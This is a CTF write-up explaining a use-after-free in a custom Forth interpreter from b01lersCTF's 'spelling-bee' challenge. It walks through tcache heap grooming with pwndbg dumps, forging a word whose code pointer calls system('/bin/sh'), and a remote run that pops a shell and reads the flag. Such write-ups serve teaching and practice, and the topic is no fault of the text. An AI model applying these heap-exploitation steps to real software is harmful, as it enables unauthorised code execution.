yay!! b01lersCTF time!!
wow, cool pwn... spelling-bee
what's the description?
“forth pwn”...
wait...
Ah, nevermind, this is not a pwn written in forth, this is a pwn of a custom forth evaluator. Would be funny though.
freed,ref which references freed,freed,ref still holds a reference to the now deallocated freed word. This gives us a simple use-after-free, which we exploit by doing some heap feng shui by defining words with specific names, and these fill freed with a shell call. Calling ref invokes the “corrupted” word, popping a shell. Yippee!First step, obviously:
spelling-bee $ pwn checksec chall [*] '/home/pingotux/ctf/spelling-bee/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
The code doesn't use any stack arrays, so the canary is expected to be off. The source is provided but is quite long (~500 lines), so I'll be showing parts of it. You can go check the full code on your own.
The libc used is glibc 2.36, a relatively modern release. New enough to have a tcache.
The challenge implements the nifty stack-based programming language called Forth. Two stacks are used - one for return addresses from word calls, and one for data. The initial word selection is quite limited - : to start a new word definition, ; to end a definition and forget to remove a word; some simple stack manipulation instructions, two printing functions and a single arithmetic operator, +.
... dict_t *dict = NULL; add_primitive(&dict, ":", _col, WF_IMM); add_primitive(&dict, ";", _semicolon, WF_IMM); add_primitive(&dict, "forget", _forget, WF_IMM); add_primitive(&dict, "drop", _drop, 0); add_primitive(&dict, "+", _add, 0); add_primitive(&dict, "dup", _dup, 0); add_primitive(&dict, "2dup", _2dup, 0); add_primitive(&dict, "?dup", _qdup, 0); add_primitive(&dict, "over", _over, 0); add_primitive(&dict, "2over", _2over, 0); add_primitive(&dict, "rot", _rot, 0); add_primitive(&dict, "swap", _swap, 0); add_primitive(&dict, "2swap", _2swap, 0); add_primitive(&dict, ".", _dot, 0); add_primitive(&dict, ".s", _sdot, 0); ...
One might also notice a peculiar function which is never used in the code. It's address is also handily printed at the beginning of the program, bypassing PIE.
void dosys(char *val) { system(val); NEXT; }
Moreover, all the stack manipulation we can do is implemented with strict boundary checks. Under the hood, these words use only three macros in various ways: TOP(n), POP() and PUSH(x). They expand to these three functions respectively:
... static inline cell *stack_top_ptr(int offset) { if (offset < 0 || offset >= g_sp) { panic("data stack underflow"); } return &g_stack[g_sp - offset]; } static inline cell stack_pop(void) { if (g_sp <= 0) { panic("data stack underflow"); } return g_stack[g_sp--]; } static inline void stack_push(cell value) { if (g_sp >= STACK_SIZE - 1) { panic("data stack overflow"); } g_stack[++g_sp] = value; } ...
It seems like all these stack manipulation functions are useless. You'd be right. (check Appendix A at the end of the writeup)
Looking at the definition of the word_t struct, it has a referenced_by field which is properly incremented when referenced, but this field is never checked when forgetting the word:
... typedef struct word { long flags; long length; long referenced_by; void (*code)(void *); void *param; } word_t; ... bool delete_word(dict_t **dict, char *name) { dict_t **pp = dict; dict_t *cur = *dict; while (cur) { if (strcmp(name, cur->name) == 0) { word_t *w = cur->word; if (w->flags & WF_MALLOC_PARAM) { free(w->param); } free(w); if (cur->alloc_name) { free(cur->name); } *pp = cur->next; free(cur); return true; } pp = &(cur->next); cur = cur->next; } return false; } ...
If we were to forget a word while it was referenced elsewhere, that'd be a use-after-free waiting for us. Indeed, doing so and calling the word with the reference results in a segfault.
word_t for our word, and finally,dict_t for our word.pwndbg> vis ... 0x563307eba830 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba840 0x00005632cbb310e4 0x0000563307eba810 ....2V......3V.. (.s - dict_t) 0x563307eba850 0x0000563307eba7e0 0x0000000000000000 ....3V.......... 0x563307eba860 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba870 0x0000006465657266 0x0000000000000000 freed........... (freed - char[] name) 0x563307eba880 0x0000000000000000 0x0000000000000091 ................ 0x563307eba890 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (freed - word_t** param) 0x563307eba8a0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307eba900 0x0000000000000000 0x0000000000000000 ................ 0x563307eba910 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba920 0x0000000000000002 0x0000000000000001 ................ (freed - word_t) 0x563307eba930 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307eba940 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307eba950 0x0000563307eba870 0x0000563307eba920 p...3V.. ...3V.. (freed - dict_t) 0x563307eba960 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307eba970 0x0000000000000000 0x0000000000020691 ................ <-- Top chunk pwndbg> c Continuing.
Not much going on for now, so let's make a new word with a reference, like this: : reference freed ;
The heap acts normal; there aren't even any free chunks to take yet. reference's argument list includes two words: freed's word_t and the generic return function.
pwndbg> vis ... 0x563307eba830 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba840 0x00005632cbb310e4 0x0000563307eba810 ....2V......3V.. (.s - dict_t) 0x563307eba850 0x0000563307eba7e0 0x0000000000000000 ....3V.......... 0x563307eba860 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba870 0x0000006465657266 0x0000000000000000 freed........... (freed - char[] name) 0x563307eba880 0x0000000000000000 0x0000000000000091 ................ 0x563307eba890 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (freed - word_t** param) 0x563307eba8a0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307eba900 0x0000000000000000 0x0000000000000000 ................ 0x563307eba910 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba920 0x0000000000000002 0x0000000000000001 ................ (freed - word_t, reference->param[0]) 0x563307eba930 0x0000000000000001 0x00005632cbb2f41e ............2V.. 0x563307eba940 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307eba950 0x0000563307eba870 0x0000563307eba920 p...3V.. ...3V.. (freed - dict_t) 0x563307eba960 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307eba970 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba980 0x636e657265666572 0x0000000000000065 reference....... (reference - char[] name) 0x563307eba990 0x0000000000000000 0x0000000000000091 ................ 0x563307eba9a0 0x0000563307eba920 0x0000563307eba2a0 ...3V......3V.. (reference - word_t** param) 0x563307eba9b0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebaa10 0x0000000000000000 0x0000000000000000 ................ 0x563307ebaa20 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa30 0x0000000000000002 0x0000000000000002 ................ (reference - word_t) 0x563307ebaa40 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaa50 0x0000563307eba9a0 0x0000000000000031 ....3V..1....... 0x563307ebaa60 0x0000563307eba980 0x0000563307ebaa30 ....3V..0...3V.. (reference - dict_t) 0x563307ebaa70 0x0000563307eba950 0x0000000000000001 P...3V.......... 0x563307ebaa80 0x0000000000000000 0x0000000000020581 ................ <-- Top chunk pwndbg> c Continuing.
We'll also define a dummy word to create a couple chunks and its name should fit in an 0x30 sized chunk. For the sake of brevity, this chunk is referred to as atbfn. It will come in handy later; for now, observe how it's name is the same size as a word_t.
To initiate the UAF, let's forget freed, leaving an invalid reference in reference's argument list.
pwndbg> vis ... 0x563307eba830 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba840 0x00005632cbb310e4 0x0000563307eba810 ....2V......3V.. (.s - dict_t) 0x563307eba850 0x0000563307eba7e0 0x0000000000000000 ....3V.......... 0x563307eba860 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba870 0x0000000563307eba 0xa071bf23daf5dc17 .~0c........#.q. <-- tcachebins[0x20][0/1] 0x563307eba880 0x0000000000000000 0x0000000000000091 ................ 0x563307eba890 0x0000000563307eba 0xa071bf23daf5dc17 .~0c........#.q. <-- tcachebins[0x90][0/1] 0x563307eba8a0 0x0000000000000000 0x0000000000000000 ................ '-> reference->param[0]->param - word_t** ... 0x563307eba900 0x0000000000000000 0x0000000000000000 ................ 0x563307eba910 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba920 0x0000000563307eba 0xa071bf23daf5dc17 .~0c........#.q. <-- tcachebins[0x30][1/2] 0x563307eba930 0x0000000000000001 0x00005632cbb2f41e ............2V.. '-> !! reference->param[0] - word_t !! 0x563307eba940 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307eba950 0x0000563664dbd79a 0xa071bf23daf5dc17 ...d6V......#.q. <-- tcachebins[0x30][0/2] 0x563307eba960 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307eba970 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba980 0x636e657265666572 0x0000000000000065 reference....... (reference - char[] name) 0x563307eba990 0x0000000000000000 0x0000000000000091 ................ 0x563307eba9a0 0x0000563307eba920 0x0000563307eba2a0 ...3V......3V.. (reference - word_t** param) 0x563307eba9b0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebaa10 0x0000000000000000 0x0000000000000000 ................ 0x563307ebaa20 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa30 0x0000000000000002 0x0000000000000002 ................ (reference - word_t) 0x563307ebaa40 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaa50 0x0000563307eba9a0 0x0000000000000031 ....3V..1....... 0x563307ebaa60 0x0000563307eba980 0x0000563307ebaa30 ....3V..0...3V.. (reference - dict_t) 0x563307ebaa70 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307ebaa80 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa90 0x6568636163745f61 0x6c69665f6e69625f a_tcache_bin_fil (atbfn - char[] name) 0x563307ebaaa0 0x6d616e5f676e696c 0x0000000000000065 ling_name....... 0x563307ebaab0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebaac0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (atbfn - word_t** param) 0x563307ebaad0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebab30 0x0000000000000000 0x0000000000000000 ................ 0x563307ebab40 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebab50 0x0000000000000002 0x0000000000000001 ................ (atbfn - word_t) 0x563307ebab60 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebab70 0x0000563307ebaac0 0x0000000000000031 ....3V..1....... 0x563307ebab80 0x0000563307ebaa90 0x0000563307ebab50 ....3V..P...3V.. (atbfn - dict_t) 0x563307ebab90 0x0000563307ebaa60 0x0000000000000001 `...3V.......... 0x563307ebaba0 0x0000000000000000 0x0000000000020461 ........a....... <-- Top chunk pwndbg> c Continuing.
Dangerous!
Now, we'll forget atbfn as well.
This is the state of the tcachebins after these two deletions - we'll ignore the 0x20 bin as it isn't relevant for the exploit at all, and we'll also ignore the 0x90 bin as it comes in handy later. I'll abbreviate the heap addresses as just their last three nibbles.
atbfn - dict_tatbfn - nameatbfn - word_tfreed - dict_tfreed - word_tWe defined and forgot atbfn to create three new 0x30 chunks in the tcache. Now, our old word_t which still lies in reference is at index 4. We can "pop" 4 tcache entries by creating two blank words with short names. For each of these, a word_t and a dict_t will be created, both of which having a size of 0x30. Creating these two words leaves us with this tcache setup:
freed - word_tIf the next word we create has a name which fits in an 0x30 chunk, that name becomes the new reference's parameter word! The first three qwords have no meaning when referenced as a parameter, so we can fill them with some good ol' 0x41, padding up until the code entry of the struct. We replace the code entry with dosys, and all that separates us from a shell is the parameter for the system(val) call.
pwndbg> vis ... 0x563307eba830 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba840 0x00005632cbb310e4 0x0000563307eba810 ....2V......3V.. (.s - dict_t) 0x563307eba850 0x0000563307eba7e0 0x0000000000000000 ....3V.......... 0x563307eba860 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba870 0x003172656c6c6966 0x0000000000000000 filler1......... (filler1 - char[] name) 0x563307eba880 0x0000000000000000 0x0000000000000091 ................ 0x563307eba890 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (filler2 - word_t** param) 0x563307eba8a0 0x0000000000000000 0x0000000000000000 ................ '-> reference->param[0]->param - char[] ... 0x563307eba900 0x0000000000000000 0x0000000000000000 ................ 0x563307eba910 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba920 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA (fake_dosys_word - char[] name) 0x563307eba930 0x4141414141414141 0x00005632cbb2f46b AAAAAAAAk...2V.. '-> reference->param[0] - word_t 0x563307eba940 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307eba950 0x0000563307ebabb0 0x0000563307ebab50 ....3V..P...3V.. (filler2 - dict_t) 0x563307eba960 0x0000563307ebaa90 0x0000000000000001 ....3V.......... 0x563307eba970 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba980 0x636e657265666572 0x0000000000000065 reference....... (reference - char[] name) 0x563307eba990 0x0000000000000000 0x0000000000000091 ................ 0x563307eba9a0 0x0000563307eba920 0x0000563307eba2a0 ...3V......3V.. (reference - word_t** param) 0x563307eba9b0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebaa10 0x0000000000000000 0x0000000000000000 ................ 0x563307ebaa20 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa30 0x0000000000000002 0x0000000000000002 ................ (reference - word_t) 0x563307ebaa40 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaa50 0x0000563307eba9a0 0x0000000000000031 ....3V..1....... 0x563307ebaa60 0x0000563307eba980 0x0000563307ebaa30 ....3V..0...3V.. (reference - dict_t) 0x563307ebaa70 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307ebaa80 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa90 0x0000563307eba870 0x0000563307ebab80 p...3V......3V.. (filler1 - dict_t) 0x563307ebaaa0 0x0000563307ebaa60 0x0000000000000001 `...3V.......... 0x563307ebaab0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebaac0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (filler1 - word_t** param) 0x563307ebaad0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebab30 0x0000000000000000 0x0000000000000000 ................ 0x563307ebab40 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebab50 0x0000000000000002 0x0000000000000001 ................ (filler2 - word_t) 0x563307ebab60 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebab70 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307ebab80 0x0000000000000002 0x0000000000000001 ................ (filler1 - word_t) 0x563307ebab90 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaba0 0x0000563307ebaac0 0x0000000000000021 ....3V..!....... 0x563307ebabb0 0x003272656c6c6966 0x0000000000000000 filler2......... (filler2 - char[] name) 0x563307ebabc0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebabd0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (fake_dosys_word - word_t** param) 0x563307ebabe0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebac40 0x0000000000000000 0x0000000000000000 ................ 0x563307ebac50 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebac60 0x0000000000000002 0x0000000000000001 ................ (fake_dosys_word - word_t) 0x563307ebac70 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebac80 0x0000563307ebabd0 0x0000000000000031 ....3V..1....... 0x563307ebac90 0x0000563307eba920 0x0000563307ebac60 ...3V..`...3V.. (fake_dosys_word - dict_t) 0x563307ebaca0 0x0000563307eba950 0x0000000000000001 P...3V.......... 0x563307ebacb0 0x0000000000000000 0x0000000000020351 ........Q....... <-- Top chunk pwndbg> c Continuing.
Thankfully, that isn't that difficult either. The word_t's params are already in the heap, just in an 0x90 chunk. Let's revisit the tcaches as they were at the start of our feng shui maneuvers, just like we looked at the 0x30 bin, this time with the 0x90 sized bin.
atbfn - paramsfreed - paramsAs mentioned before, we created two filler words (which I called filler1 and filler2). Each of these needed their own param array, and since the tcache is a singly linked list, filler1 got the ac0 param array and filler2 got the 890 param array, which is also the param array of freed, thus also the param string of our dosys call!
All we have to do now is forget filler2 and allocate a word with an 0x90 large name chunk, which will be our system(val) param!
But wait. /bin/sh is just 7 bytes, 8 if we include the null terminator. How do we push it to fill such a large chunk?
...
Just prepend 120 slashes or so. The path doesn't care how rooted it is, as long as it's at least once, it's fine. Lots of /./. or /bin/.. repetition would also work.
pwndbg> vis ... 0x563307eba830 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba840 0x00005632cbb310e4 0x0000563307eba810 ....2V......3V.. (.s - dict_t) 0x563307eba850 0x0000563307eba7e0 0x0000000000000000 ....3V.......... 0x563307eba860 0x0000000000000000 0x0000000000000021 ........!....... 0x563307eba870 0x003172656c6c6966 0x0000000000000000 filler1......... (filler1 - char[] name) 0x563307eba880 0x0000000000000000 0x0000000000000091 ................ 0x563307eba890 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// (sys_args - char[] name) 0x563307eba8a0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// '-> reference->param[0]->param - char[] 0x563307eba8b0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// 0x563307eba8c0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// 0x563307eba8d0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// 0x563307eba8e0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// 0x563307eba8f0 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f //////////////// 0x563307eba900 0x622f2f2f2f2f2f2f 0x00000068732f6e69 ///////bin/sh... 0x563307eba910 0x0000000000000000 0x0000000000000031 ........1....... 0x563307eba920 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA (fake_dosys_word - char[] name) 0x563307eba930 0x4141414141414141 0x00005632cbb2f46b AAAAAAAAk...2V.. '-> reference->param[0] - word_t 0x563307eba940 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307eba950 0x0000000000000002 0x0000000000000001 ................ (sys_args - word_t) 0x563307eba960 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307eba970 0x0000563307ebacc0 0x0000000000000021 ....3V..!....... 0x563307eba980 0x636e657265666572 0x0000000000000065 reference....... (reference - char[] name) 0x563307eba990 0x0000000000000000 0x0000000000000091 ................ 0x563307eba9a0 0x0000563307eba920 0x0000563307eba2a0 ...3V......3V.. (reference - word_t** param) 0x563307eba9b0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebaa10 0x0000000000000000 0x0000000000000000 ................ 0x563307ebaa20 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa30 0x0000000000000002 0x0000000000000002 ................ (reference - word_t) 0x563307ebaa40 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaa50 0x0000563307eba9a0 0x0000000000000031 ....3V..1....... 0x563307ebaa60 0x0000563307eba980 0x0000563307ebaa30 ....3V..0...3V.. (reference - dict_t) 0x563307ebaa70 0x0000563307eba840 0x0000000000000001 @...3V.......... 0x563307ebaa80 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebaa90 0x0000563307eba870 0x0000563307ebab80 p...3V......3V.. (filler1 - dict_t) 0x563307ebaaa0 0x0000563307ebaa60 0x0000000000000001 `...3V.......... 0x563307ebaab0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebaac0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (filler1 - word_t** param) 0x563307ebaad0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebab30 0x0000000000000000 0x0000000000000000 ................ 0x563307ebab40 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebab50 0x0000563307eba890 0x0000563307eba950 ....3V..P...3V.. (sys_args - dict_t) 0x563307ebab60 0x0000563307ebac90 0x00005632cbb2f401 ....3V......2V.. 0x563307ebab70 0x0000563307eba890 0x0000000000000031 ....3V..1....... 0x563307ebab80 0x0000000000000002 0x0000000000000001 ................ (filler1 - word_t) 0x563307ebab90 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebaba0 0x0000563307ebaac0 0x0000000000000021 ....3V..!....... 0x563307ebabb0 0x0000000563307eba 0xa071bf23daf5dc17 .~0c........#.q. <-- tcachebins[0x20][0/1] 0x563307ebabc0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebabd0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (fake_dosys_word - word_t** param) 0x563307ebabe0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebac40 0x0000000000000000 0x0000000000000000 ................ 0x563307ebac50 0x0000000000000000 0x0000000000000031 ........1....... 0x563307ebac60 0x0000000000000002 0x0000000000000001 ................ (fake_dosys_word - word_t) 0x563307ebac70 0x0000000000000000 0x00005632cbb2f41e ............2V.. 0x563307ebac80 0x0000563307ebabd0 0x0000000000000031 ....3V..1....... 0x563307ebac90 0x0000563307eba920 0x0000563307ebac60 ...3V..`...3V.. (fake_dosys_word - dict_t) 0x563307ebaca0 0x0000563307ebaa90 0x0000000000000001 ....3V.......... 0x563307ebacb0 0x0000000000000000 0x0000000000000091 ................ 0x563307ebacc0 0x0000563307eba2a0 0x0000000000000000 ....3V.......... (sys_args - word_t** param) 0x563307ebacd0 0x0000000000000000 0x0000000000000000 ................ ... 0x563307ebad30 0x0000000000000000 0x0000000000000000 ................ 0x563307ebad40 0x0000000000000000 0x00000000000202c1 ................ <-- Top chunk pwndbg> c Continuing.
And that's the setup done! Calling reference in the interactive interpreter will call our forged word, which will now pop us a shell.
For reference, here's the solve in action:
spelling-bee $ ./sol.py REMOTE [*] '/home/wherever/it/is/spelling-bee/chall_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' Stripped: No [*] '/home/wherever/it/is/spelling-bee/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to spelling-bee.opus4-7.b01le.rs on port 8443: Done [*] 0x5a9e75aab46b [*] Switching to interactive mode defined a new word freed defined a new word reference defined a new word a_tcache_bin_filling_name forgot word freed forgot word a_tcache_bin_filling_name defined a new word filler1 defined a new word filler2 defined a new word AAAAAAAAAAAAAAAAAAAAAAAAk\xb4\xaau\x9eZ forgot word filler2 defined a new word ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////bin/sh $ reference $ cat flag.txt bctf{1_h473_f0r63771n6_w0rd5_j5475v25fwpck}$ [*] Closed connection to spelling-bee.opus4-7.b01le.rs port 8443 spelling-bee $
It had been a while since I had last solved a heap pwn, so a blatant UAF with relatively simple heap grooming was a nice return!
I say blatant now.
In reality, I did not solve this challenge during the ctf. I stared at everything in the code but completely missed the fact that words persist in references. I was so lost, that after the ctf had ended, I asked (:nauseated_face:) an AI (:face_vomiting:) for a hint. It was immediately obvious to me what the vulnerability was after likely about 10 tokens of output.
Tunnel vision set aside, this was a really fun challenge! I'd like to thank the b01lersCTF orga for putting together an amazing CTF! Our team (DragonSec SI) really enjoyed humanity-check :)
Just like the last blog post, this writeup is entirely HTML+CSS! Yes, even the hover effects which are linked between areas of the heap. I'd like to thank rebane2001 for inspiring the pwndbg hover effects, the CSS here functions nearly identically to hers. This ~17kB (compressed) page is not minified at all, so be curious, open up inspect element, and take a peek! :3
Remember the part where we forgot filler2 to replace the system(val) parameter? Well, my first idea was to replace the param pointer in the actual word_t, and point it to the data stack. Getting the address of the data stack was trivial; it is at a static offset from the leaked do_sys. Actually moving the params? Easier said than done.
Since the name gets copied with a strcpy, any null bytes we wish to send come only from the terminator, and everything after gets discarded.This meant that instead of sending the code and parameter at once, I had to do two name replacements.
More than two. The code pointer has two null bytes at the address (thus end of the string), so another name replacement in between the two was simply guranteeing that the last byte of the address was the null byte.
Getting /bin/sh onto the stack was also easier said than done. The stack is made up of 64-bit integers, but accept_integer returns an int32. I tried to get sneaky by chaining many dups and +-es to assemble the upper- and lower 32 bits of the string, then add them together.
Failure as well. + also adds two 32-bit integers, but pushes that integer casted to 64 bits.
At any one of these points could I have realized there was a much easier way. I reached that realization at the last possible moment.
Thanks for reading!